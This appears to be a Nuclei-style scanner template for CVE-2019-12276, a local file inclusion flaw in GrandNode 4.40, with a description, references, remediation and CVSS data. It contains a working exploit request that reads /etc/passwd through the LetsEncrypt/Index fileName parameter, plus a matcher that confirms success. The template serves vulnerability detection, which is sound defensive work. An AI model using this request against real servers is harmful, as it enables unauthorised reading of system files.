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id : CVE-2019-12276
info :
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name : GrandNode 4.40 - Local File Inclusion
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author : daffainfo
severity : high
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description : |
GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
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reference :
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- https://security401.com/grandnode-path-traversal/
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- https://grandnode.com
- https://github.com/grandnode/grandnode
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- https://nvd.nist.gov/vuln/detail/CVE-2019-12276
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remediation : |
A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
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classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 7.5
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cve-id : CVE-2019-12276
cwe-id : CWE-22
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tags : cve,cve2019,lfi,grandnode
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metadata :
max-request : 1
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http :
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- method : GET
path :
- "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"
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headers :
Connection : close
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matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
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- type : status
status :
- 200